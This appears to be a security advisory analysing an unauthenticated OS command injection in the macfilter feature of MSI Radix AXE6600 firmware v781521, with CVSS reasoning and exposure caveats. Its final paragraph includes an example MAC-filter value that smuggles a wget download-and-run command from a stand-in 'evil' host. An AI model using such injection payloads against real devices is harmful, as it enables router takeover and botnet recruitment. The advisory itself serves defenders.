MSI Radix AXE6600 EUVD-2026-54835

The specific prerequisite is network reachability of the router's management interface exposing the macfilter function on MSI Radix AXE6600 firmware v781521; the attacker crafts input to the macfilter (MAC access-control) feature to inject OS commands. Per the CVSS vector (PR:N/UI:N/AC:L/AT:N), no authentication, no user interaction, and no special attack requirements are needed once the interface is reachable. The primary limiting factor is exposure of that interface: if administration is confined to the LAN and WAN management is disabled, a remote internet-based attacker cannot reach the endpoint, reducing realistic exploitation to on-network adversaries. Exploitation is also constrained to the named firmware version v781521.

This is a genuine high-priority issue rather than a paper-tiger high score. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H) describes remote, unauthenticated, low-complexity exploitation yielding complete device takeover - the strongest possible combination of exploitability and impact. No EPSS score, KEV listing, or public POC is present in the supplied data, so there is no evidence of active exploitation yet; the risk is currently potential rather than proven. However, command-injection flaws in consumer router web interfaces are historically easy to reverse from a patch and are attractive for botnet recruitment, so the window between disclosure and exploitation tends to be short, and any operator running these devices should treat patching as urgent. The main uncertainty is exposure: the real-world blast radius depends heavily on whether the vulnerable management interface is reachable from the WAN or only the LAN, which the description does not specify - defenders should verify their own exposure rather than assume the CVSS network vector means internet-facing by default.

An attacker who can reach the router's web management interface submits a MAC-filter entry containing shell metacharacters (e.g., a value like '00:11:22:33:44:55; wget http://evil/x -O /tmp/x; sh /tmp/x'); the macfilter handler passes this into a system shell, executing the attacker's commands as root. The attacker then installs a persistent implant or enrolls the device into a botnet. Given AV:N/AC:L/PR:N/UI:N, no authentication or user interaction is required, though exploitation depends on network reachability of the management interface.